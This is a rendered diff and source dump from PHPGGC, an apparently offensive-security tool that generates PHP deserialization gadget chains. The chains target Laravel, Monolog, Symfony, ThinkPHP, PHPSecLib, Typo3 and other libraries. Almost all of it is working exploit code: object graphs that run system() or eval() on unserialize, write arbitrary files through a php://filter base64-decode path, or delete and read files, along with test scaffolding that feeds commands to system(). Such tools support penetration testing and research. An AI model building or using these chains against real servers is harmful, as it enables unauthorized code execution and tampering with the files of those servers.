58 {
59 protected $key;
60 protected $value;
61
62 function __construct($key, $value)
63 {
64 $this->key = $key;
65 $this->value = $value;
66 }
67 }
68 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.4.0 <= 8.6.9+';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99
33
44 class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.5.0 <= 5.8.35';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99 public static $information = 'This chain triggers an ErrorException after code execution.';
33
44 class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.4.0 <= 8.6.9+';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99
33
44 class RCE6 extends \PHPGGC\GadgetChain\RCE\PHPCode
55 {
6 public static $version = '5.5.*';
6 public static $version = '5.5.* <= 5.8.35';
77 public static $vector = '__destruct';
88 public static $author = 'Phith0n & holyvier';
99 public static $information = '
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '7.0.0 <= 8.6.9+';
7 public static $vector = '__destruct';
8 public static $author = 'abdilahrf & cr1f';
9 public static $information = 'Executes through eval()';
10
11
12 public function generate(array $parameters)
13 {
14 return new \GuzzleHttp\Cookie\FileCookieJar(
15 new \Illuminate\Validation\Rules\RequiredIf(
16 new \PhpOption\LazyOption($parameters['function'], [$parameters['parameter']])
17 )
18 );
19 }
20 }
0 <?php
1
2 namespace GuzzleHttp\Cookie
3 {
4 class FileCookieJar
5 {
6 private $filename;
7
8 public function __construct($r)
9 {
10 $this->filename = $r;
11 }
12 }
13 }
14
15 namespace Illuminate\Validation\Rules
16 {
17 class RequiredIf
18 {
19 public function __construct($p)
20 {
21 $this->condition = [$p, 'get'];
22 }
23 }
24 }
25
26 namespace PhpOption
27 {
28 final class LazyOption
29 {
30 private $callback;
31 private $arguments;
32
33 function __construct($callback, $arguments)
34 {
35 $this->callback = $callback;
36 $this->arguments = $arguments;
37 }
38 }
39 }
33
44 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.18 <= 2.1.1+';
6 public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2727 {
2828 $this->processors = $methods;
2929 $this->buffer = [$command];
30 $this->handler = clone $this;
30 $this->handler = $this;
3131 }
3232 }
33 }
33 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.5 <= 2.1.1+';
6 public static $version = '1.4.1 <= 2.2.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2828 {
2929 $this->processors = $methods;
3030 $this->buffer = [$command];
31 $this->handler = clone $this;
31 $this->handler = $this;
3232 }
3333 }
34 }
34 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.25 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\GroupHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class GroupHandler {
22 protected $processors = array();
23 public function __construct($function)
24 {
25 $this->processors = ['current', $function];
26 }
27
28 }
29 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\BufferHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class BufferHandler
22 {
23 protected $handler;
24 protected $bufferSize = -1;
25 protected $buffer;
26 # ($record['level'] < $this->level) == false
27 protected $level = null;
28 protected $initialized = true;
29 # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
30 protected $bufferLimit = -1;
31 protected $processors;
32
33 function __construct($function)
34 {
35 $this->processors = ['current', $function];
36 }
37 }
38
39 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\FingersCrossedHandler(
17 ['pos', $function], // pos() is an alias of current() function, but it's shorter :-)
18 [$parameter, 'level' => 0]
19 );
20 }
21 }
0 <?php
1 namespace Monolog\Handler
2 {
3 class FingersCrossedHandler
4 {
5 protected $passthruLevel = 0;
6 protected $handler;
7 protected $buffer;
8 protected $processors;
9
10 function __construct($methods,$command)
11 {
12 $this->processors = $methods;
13 $this->buffer = [$command];
14 $this->handler = $this;
15 }
16 }
17 }
88
99 public function generate(array $parameters)
1010 {
11 $remote_file = $parameters["remote_file"];
11 $remote_path = $parameters["remote_path"];
1212
13 return new \PhpCsFixer\FileRemoval($remote_file);
13 return new \PhpCsFixer\FileRemoval($remote_path);
1414 }
1515 }
1616
55 class FileRemoval
66 {
77
8 function __construct($remote_file)
8 function __construct($remote_path)
99 {
10 $this->files = [$remote_file => $remote_file];
10 $this->files = [$remote_path => $remote_path];
1111
1212 }
1313
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_file);
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_path);
1515 }
1616 }
44 class ProcessLinter
55 {
66
7 function __construct($remote_file)
7 function __construct($remote_path)
88 {
9 $this->temporaryFile = $remote_file;
9 $this->temporaryFile = $remote_path;
1010 $this->fileRemoval = new \PhpCsFixer\FileRemoval();
1111
1212 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\PHPSecLib;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
5 {
6 public static $version = '2.0.0 <= 2.0.34';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Generates warnings and notices.';
10
11 public function generate(array $parameters)
12 {
13 $code = $parameters['code'];
14
15 return [
16 new \phpseclib\Net\SSH1(
17 new \phpseclib\Crypt\AES(
18 new \phpseclib\Crypt\TripleDES($code)
19 )
20 )
21 ];
22 }
23 }
0 <?php
1
2 namespace phpseclib\Net
3 {
4 class SSH1
5 {
6 var $bitmap = 1;
7 var $crypto;
8 public function __construct($a)
9 {
10 $this->crypto = $a;
11 }
12 }
13 }
14
15 namespace phpseclib\Crypt
16 {
17 class Base
18 {
19 var $block_size;
20 var $inline_crypt;
21 var $use_inline_crypt = 1;
22 var $changed = 0;
23 var $engine = 1;
24 var $mode = 1;
25
26 public function __construct($t)
27 {
28 if (strpos(get_class($this), 'AES'))
29 $this->inline_crypt = [$t, '_createInlineCryptFunction'];
30 else
31 $this->block_size = '1){}}}; ob_clean();' . $t . 'die(); ?>';
32 }
33 }
34
35 class AES extends Base
36 {
37 var $bitmap = 1;
38 var $crypto = 1;
39 }
40
41 class TripleDES extends Base
42 {
43 }
44 }
1818 {
1919 return new \Phalcon\Logger\Adapter\File();
2020 }
21
22 public function test_setup()
23 {
24 throw new \PHPGGC\Exception("This GC cannot be tested.");
25 }
2126 }
77 public static $vector = '__destruct';
88 public static $author = 'd3adc0de';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Smarty_Internal_Template($parameters['remote_file']);
15 return new \Smarty_Internal_Template($parameters['remote_path']);
1616 }
1717 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']);
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.2.*';
7 public static $vector = '__destruct';
8 public static $author = 'byc_404';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15
16 return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Symfony\Component\Cache\Adapter
3 {
4 class ProxyAdapter
5 {
6 private $createCacheItem;
7 private $namespace;
8 private $pool;
9
10 public function __construct($createCacheItem, $pool)
11 {
12 $this->createCacheItem = $createCacheItem;
13 $this->pool = $pool;
14 $this->namespace = '';
15 }
16 }
17
18
19 class NullAdapter
20 {
21 private $createCacheItem;
22
23 public function __construct($createCacheItem)
24 {
25 $this->createCacheItem = $createCacheItem;
26 }
27 }
28 }
29
30 namespace Symfony\Component\Console\Helper
31 {
32 class Dumper
33 {
34 private $handler;
35
36 public function __construct($handler)
37 {
38 $this->handler = $handler;
39 }
40 }
41 }
42
43
44 namespace Symfony\Component\Cache\Traits
45 {
46 class RedisProxy
47 {
48 private $redis;
49 private $initializer;
50
51 public function __construct($initializer, $redis)
52 {
53 $this->initializer = $initializer;
54 $this->redis = $redis;
55 }
56 }
57 }
58
59 namespace Symfony\Component\Form
60 {
61
62 class FormErrorIterator
63 {
64 public $form;
65 private $errors;
66
67 function __construct($errors, $form)
68 {
69 $this->errors = $errors;
70 $this->form = $form;
71 }
72 }
73 }
74
75
76 namespace Symfony\Component\HttpKernel\DataCollector
77 {
78 class DumpDataCollector
79 {
80 protected $data;
81 private $stopwatch;
82 private $fileLinkFormat;
83 private $dataCount = 0;
84 private $isCollected = false;
85 private $clonesCount = 0;
86 private $clonesIndex = 0;
87
88 public function __construct($function, $command)
89 {
90 $this->data = [
91 [
92 "data" => "1",
93 "name" => new \Symfony\Component\Form\FormErrorIterator([
94 new \Symfony\Component\Form\FormErrorIterator(
95 [],
96 new \Symfony\Component\Cache\Traits\RedisProxy(
97 new \Symfony\Component\Console\Helper\Dumper([
98 new \Symfony\Component\Cache\Adapter\ProxyAdapter(
99 'dd', // exit function
100 new \Symfony\Component\Cache\Adapter\NullAdapter($function)
101 ),
102 "getItem"
103 ]),
104 $command
105 )
106 )],
107 null
108 ),
109 "file" => "3",
110 "line" => "4"
111 ],
112 null,
113 null
114 ];
115 }
116 }
117 }
1313
1414 public function generate(array $parameters)
1515 {
16 $file = $parameters['remote_file'];
16 $file = $parameters['remote_path'];
1717
1818 return new \TCPDF(
1919 $file
22 class TCPDF {
33 protected $imagekeys;
44
5 function __construct($remote_file) {
5 function __construct($remote_path) {
66 $this->imagekeys = [
7 $remote_file
7 $remote_path
88 ];
99 }
1010 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.4-5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 use think\model\relation\HasMany;
5
6 class Process
7 {
8 private $processPipes;
9 private $status = 3;
10 private $processInformation = ['running' => true];
11
12 public function __construct($path, $data)
13 {
14 $this->processPipes = new HasMany($path, $data);
15 }
16 }
17
18 class Model
19 {
20 }
21 }
22
23
24 namespace think\model
25 {
26 use think\Model;
27
28 class Merge extends Model
29 {
30 public $a = '1';
31
32 public function __construct()
33 {
34 }
35 }
36
37 class Relation
38 {
39 protected $query;
40 }
41 }
42
43
44 namespace think\model\relation
45 {
46 use think\console\Output;
47 use think\model\Merge;
48 use think\model\Relation;
49
50 class HasMany extends Relation
51 {
52 protected $parent;
53 protected $localKey = 'a';
54 protected $pivot;
55 protected $foreignKey;
56
57 public function __construct($path, $data)
58 {
59 $this->foreignKey = $data;
60 $this->query = new Output($path, $data);
61 $this->parent = new Merge();
62 }
63 }
64 }
65
66
67 namespace think\db
68 {
69 class Query
70 {
71 }
72 }
73
74
75 namespace think\console
76 {
77 class Output
78 {
79 protected $styles = [
80 'where'
81 ];
82 private $handle;
83
84 public function __construct($path, $data)
85 {
86 $this->handle = new \think\session\driver\Memcache($path, $data);
87 }
88 }
89 }
90
91
92 namespace think\session\driver
93 {
94 class Memcache
95 {
96 protected $handler;
97
98 public function __construct($path, $data)
99 {
100 $this->handler = new \think\cache\driver\Memcached($path, $data);
101 }
102 }
103 }
104
105
106 namespace think\cache\driver
107 {
108 class Memcached
109 {
110 protected $tag;
111 protected $options;
112 protected $handler;
113
114 public function __construct($path)
115 {
116 $this->tag = true;
117 $this->options = [
118 'expire' => 0,
119 'prefix' => '',
120 ];
121 $this->handler = new File($path);
122 }
123 }
124
125 class File
126 {
127 protected $tag;
128 protected $options;
129
130 public function __construct($path)
131 {
132 $this->tag = false;
133 $this->options = [
134 'expire' => 3600,
135 'cache_subdir' => false,
136 'prefix' => '',
137 'data_compress' => false,
138 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
139 ];
140 }
141 }
142 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.0-5.0.03';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 class Process
5 {
6 private $processPipes;
7 private $status = 3;
8 private $processInformation = ['running' => true];
9
10 public function __construct($path,$data)
11 {
12 $this->processPipes = new \think\model\Relation($path, $data);
13 }
14 }
15 }
16
17
18 namespace think\model
19 {
20 use think\console\Output;
21
22 class Relation
23 {
24 protected $query;
25 protected $type = 2; // HAS_MANY
26 protected $where;
27
28 public function __construct($path,$data)
29 {
30 $this->where = $data;
31 $this->query = new Output($path);
32 }
33 }
34 }
35
36
37 namespace think\console
38 {
39 class Output
40 {
41 protected $styles = [
42 'where'
43 ];
44 private $handle;
45
46 public function __construct($path)
47 {
48 $this->handle = new \think\session\driver\Memcache($path);
49 }
50 }
51 }
52
53
54 namespace think\session\driver
55 {
56 class Memcache
57 {
58 protected $handler;
59
60 public function __construct($path)
61 {
62 $this->handler = new \think\cache\driver\Memcached($path);
63 }
64 }
65 }
66
67
68 namespace think\cache\driver
69 {
70 class Memcached
71 {
72 protected $tag;
73 protected $options;
74 protected $handler;
75
76 public function __construct($path)
77 {
78 $this->tag = true;
79 $this->options = [
80 'expire' => 0,
81 'prefix' => '',
82 ];
83 $this->handler = new File($path);
84 }
85 }
86
87 class File
88 {
89 protected $tag;
90 protected $options;
91
92 public function __construct($path)
93 {
94 $this->tag = false;
95 $this->options = [
96 'expire' => 3600,
97 'cache_subdir' => false,
98 'prefix' => '',
99 'data_compress' => false,
100 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
101 ];
102 }
103 }
104 }
1212 namespace think\model\concern {
1313 trait Conversion
1414 {
15 protected $append = array("Smi1e" => "1");
15 protected $append = array("smi1e" => "1");
1616 }
1717
1818 trait Attribute
1919 {
2020 private $data;
21 private $withAttr = array("Smi1e" => "system");
21 private $withAttr = array("smi1e" => "system");
2222
2323 public function get($system)
2424 {
25 $this->data = array("Smi1e" => "$system");
25 $this->data = array("smi1e" => "$system");
2626 }
2727 }
2828 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'kemmio';
9 public static $information = '
10 This chain can only execute any function including system().
11 Shoutout to c014 the 0ctf 2021 challenge creator!
12 See the full writeup for the chain at https://blog.hexens.io/
13 ';
14
15 public function generate(array $parameters)
16 {
17 $function = $parameters['function'];
18 $parameter = $parameters['parameter'];
19 return new \think\process\pipes\Windows($function, $parameter);
20 }
21 }
0 <?php
1
2 namespace think\process\pipes
3 {
4 use think\model\Pivot;
5
6 class Pipes
7 {
8 }
9
10 class Windows extends Pipes
11 {
12 private $files = [];
13
14 function __construct($function, $parameter)
15 {
16 $this->files = [new Pivot($function, $parameter)];
17 }
18 }
19 }
20
21 namespace think\model
22 {
23 use think\db\Query;
24
25 abstract class Relation
26 {
27 }
28 }
29
30 namespace think\model\relation
31 {
32 use think\model\Relation;
33 use think\db\Query;
34
35 abstract class OneToOne extends Relation
36 {
37 }
38
39 class HasOne extends OneToOne
40 {
41 protected $selfRelation;
42 protected $query;
43 protected $bindAttr = [];
44
45 function __construct($function, $parameter)
46 {
47 $this->bindAttr = ["no", "123"];
48 $this->selfRelation = false;
49 $this->query = new Query($function, $parameter);
50 }
51 }
52 }
53
54
55 namespace think
56 {
57 use think\model\relation\HasOne;
58 use think\console\Output;
59 use think\db\Query;
60
61 abstract class Model
62 {
63 protected $append = [];
64 protected $error;
65 protected $parent;
66 protected $selfRelation;
67 protected $query;
68
69 function __construct($function, $parameter)
70 {
71 $this->append = ['getError'];
72 $this->error = new HasOne($function, $parameter);
73 $this->parent = new Output($function, $parameter);
74 $this->selfRelation = false;
75 $this->query = new Query($function, $parameter);
76 }
77 }
78 }
79
80
81 namespace think\db
82 {
83 use think\console\Output;
84
85 class Query
86 {
87 protected $model;
88 function __construct($function, $parameter)
89 {
90 $this->model = new Output($function, $parameter);
91 }
92 }
93 }
94
95
96 namespace think\console
97 {
98 use think\session\driver\Memcached;
99
100 class Output
101 {
102 private $handle = null;
103 protected $styles = [];
104
105 function __construct($function, $parameter)
106 {
107 $this->handle = new Memcached($function, $parameter);
108 $this->styles = ['getAttr'];
109 }
110 }
111 }
112
113
114 namespace think\session\driver
115 {
116 use think\cache\driver\Memcache;
117
118 class Memcached
119 {
120 protected $handler = null;
121 protected $config = [];
122
123 function __construct($function, $parameter)
124 {
125 $this->handler = new Memcache($function, $parameter);
126 $this->config = [
127 'host' => '127.0.0.1',
128 'port' => 11211,
129 'expire' => 3600,
130 'timeout' => 0,
131 'session_name' => 'HEXENS',
132 'username' => '',
133 'password' => '',
134 ];
135 }
136 }
137 }
138
139
140
141 namespace think\cache\driver
142 {
143 use think\Request;
144
145 class Memcache
146 {
147 protected $options = [];
148 protected $handler = null;
149 protected $tag;
150
151 function __construct($function, $parameter)
152 {
153 $this->handler = new Request($function, $parameter);
154 $this->options = [
155 'expire' => 0,
156 'cache_subdir' => false,
157 'prefix' => '',
158 'path' => '',
159 'data_compress' => false,
160 ];
161 $this->tag = true;
162 }
163 }
164 }
165
166
167
168 namespace think
169 {
170 class Request
171 {
172 protected $get;
173 protected $filter;
174
175 function __construct($function, $parameter)
176 {
177 $this->get = ["HEXENS<getAttr>no<" => $parameter];
178 $this->filter = $function;
179 }
180 }
181 }
182
183
184 namespace think\model
185 {
186 use think\Model;
187
188 class Pivot extends Model
189 {
190 }
191 }
0 <?php
1
2 namespace GadgetChain\Typo3;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '4.5.35 <= 10.4.1';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions).
11 Target versions: commit 1cbe3d8c089d94d76af2b37aea481cbd8b0707f9, 5 Jul 2014 (v4.5.35) <= exploitable <= commit ab4fec2a1aea46488e3dc2b9cca0712f3fa202b0, 12 May 2020 (v10.4.1)
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \TYPO3\CMS\Extensionmanager\Controller\UploadExtensionFileController($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace TYPO3\CMS\Extensionmanager\Controller;
3
4 class UploadExtensionFileController
5 {
6 public $extensionBackupPath;
7
8 public function __construct($extensionBackupPath) {
9 $this->extensionBackupPath = $extensionBackupPath;
10 }
11
12 }
77 public static $vector = '__destruct';
88 public static $author = 'mpchadwick';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 $file = $parameters['remote_file'];
15 $file = $parameters['remote_path'];
1616
1717 return new \Zend_Http_Response_Stream(
1818 true,
1010 */
1111 class ASCIIStrings extends Enhancement
1212 {
13 public function __construct($full=false)
14 {
15 $this->full = $full;
16 }
17
1318 public function process_serialized($serialized)
1419 {
1520 $new = '';
2429 )
2530 )
2631 {
27
2832 $p_start = $matches[0][1];
2933 $p_start_string = $p_start + strlen($matches[0][0]);
3034 $length = $matches[1][0];
3135 $p_end_string = $p_start_string + $length;
3236
3337 # Check if this really is a serialized string
38 # This is error-prone: if a stirng contains a serialized string,
39 # for instance, ...
3440 if(!(
3541 strlen($serialized) > $p_end_string + 2 &&
3642 substr($serialized, $p_end_string, 2) == '";'
4652 for($i=0; $i < strlen($string); $i++)
4753 {
4854 $letter = $string[$i];
49 $clean_string .= ctype_print($letter) && $letter != '\\' ?
50 $letter :
51 sprintf("\\%02x", ord($letter));
52 ;
55 if($this->full || !ctype_print($letter) || $letter == '\\')
56 $letter = sprintf("\\%02x", ord($letter));
57
58 $clean_string .= $letter;
5359 }
5460
5561 # Make the replacement
55 {
66 public static $type = self::TYPE_FD;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file delete')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 return !file_exists($arguments['remote_path']);
21 }
22
23 public function test_cleanup($arguments)
24 {
25 if(file_exists($arguments['remote_path']))
26 unlink($arguments['remote_path']);
27 }
1028 }
55 {
66 public static $type = self::TYPE_FR;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file read')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 $expected = file_get_contents($arguments['remote_path']);
21 return strpos($output, $expected) !== false;
22 }
23
24 public function test_cleanup($arguments)
25 {
26 if(file_exists($arguments['remote_path']))
27 unlink($arguments['remote_path']);
28 }
1029 }
1919 $parameters['data'] = file_get_contents($local_path);
2020 return $parameters;
2121 }
22
23 public function test_setup()
24 {
25 return [
26 'local_path' => \PHPGGC\Util::rand_file('test file write'),
27 'remote_path' => \PHPGGC\Util::rand_path('', '.test')
28 ];
29 }
30
31 public function test_confirm($arguments, $output)
32 {
33 if(!file_exists($arguments['remote_path']))
34 return false;
35
36 $expected = file_get_contents($arguments['local_path']);
37 $obtained = file_get_contents($arguments['remote_path']);
38
39 return strpos($obtained, $expected) !== false;
40 }
41
42 public function test_cleanup($arguments)
43 {
44 if(file_exists($arguments['remote_path']))
45 unlink($arguments['remote_path']);
46 if(file_exists($arguments['local_path']))
47 unlink($arguments['local_path']);
48 }
2249 }
44 abstract class PHPInfo extends \PHPGGC\GadgetChain
55 {
66 public static $type = self::TYPE_INFO;
7
8 public function test_setup()
9 {
10 return [];
11 }
12
13 public function test_confirm($arguments, $output)
14 {
15 $expected = [
16 'phpinfo()',
17 'PHP Authors',
18 'Module Authors',
19 'PHP Variables'
20 ];
21 foreach($expected as $needle)
22 if(strpos($output, $needle) === false)
23 return false;
24
25 return true;
26 }
727 }
1212 public static $parameters = [
1313 'command'
1414 ];
15
16 public function test_setup()
17 {
18 $command = $this->_test_build_command();
19 return [
20 'command' => $command
21 ];
22 }
1523 }
1313 'function',
1414 'parameter'
1515 ];
16
17 public function test_setup()
18 {
19 $command = $this->_test_build_command();
20 return [
21 'function' => 'system',
22 'parameter' =>
23 $command
24 ];
25 }
1626 }
1212 public static $parameters = [
1313 'code'
1414 ];
15
16 public function test_setup()
17 {
18 # TODO file_put_contents() might be a better option here, but it'll work
19 # for now.
20 $command = $this->_test_build_command();
21 return [
22 'code' => 'system(' . var_export($command, true) . ');'
23 ];
24 }
1525 }
66 public static $type = self::TYPE_RCE;
77 # TBD by subclasses
88 public static $parameters = [];
9
10 /**
11 * The result of the command is not necessarily visible. We write the output
12 * to a file instead to be able to tell if the payload worked, even if
13 * there's no output.
14 */
15 protected function _test_build_command()
16 {
17 $this->__test_rand_token = sha1(rand());
18 $this->__test_rand_path = \PHPGGC\Util::rand_path();
19 return
20 'echo ' . $this->__test_rand_token .
21 ' > ' . $this->__test_rand_path
22 ;
23 }
24
25 public function test_confirm($arguments, $output)
26 {
27 if(!file_exists($this->__test_rand_path))
28 return false;
29 $result = file_get_contents($this->__test_rand_path);
30 return strpos($result, $this->__test_rand_token) !== false;
31 }
32
33 public function test_cleanup($arguments)
34 {
35 if(file_exists($this->__test_rand_path))
36 unlink($this->__test_rand_path);
37 }
938 }
66 public static $parameters = [
77 'uri'
88 ];
9
10 public function test_setup()
11 {
12 throw new \PHPGGC\Exception("SSRF payloads cannot be tested.");
13 }
14
15 public function test_confirm($arguments, $output)
16 {
17 return false;
18 }
919 }
1020 ?>
77 public static $parameters = [
88 'sql'
99 ];
10
11 public function test_setup()
12 {
13 throw new \PHPGGC\Exception("SQL injection payloads cannot be tested.");
14 }
15
16 public function test_confirm($arguments, $output)
17 {
18 return false;
19 }
1020 }
2020 *
2121 * Along with the generate() method, which converts parameters into an object,
2222 * three generic methods are available:
23 * - process_parameters($parameters)
24 * - process_object($object)
25 * - process_serialized($serialized)
23 * - process_parameters(array $parameters)
24 * - process_object(object $object)
25 * - process_serialized(string $serialized)
2626 *
2727 * Those methods are to be found in other PHPGGC classes, for instance the main
2828 * class for handling CLI, PHPGGC. Refer to their documentation to understand
5757 $this->load_gadgets();
5858 }
5959
60 /**
61 * Loads the gadgets required by the chain.
62 */
6063 protected function load_gadgets()
6164 {
6265 $directory = dirname((new \ReflectionClass($this))->getFileName());
7679 * Modifies given parameters if required.
7780 * Called before `generate()`.
7881 * This is called on the gadget chain's parameters, such as for instance
79 * "remote_file" and "local_file" for a file write chain.
82 * "remote_path" and "local_path" for a file write chain.
8083 *
8184 * @param array $parameters Gadget chain parameters
8285 * @return array Modified parameters
155158 $class = str_replace('\\', '/', $class);
156159 return $class;
157160 }
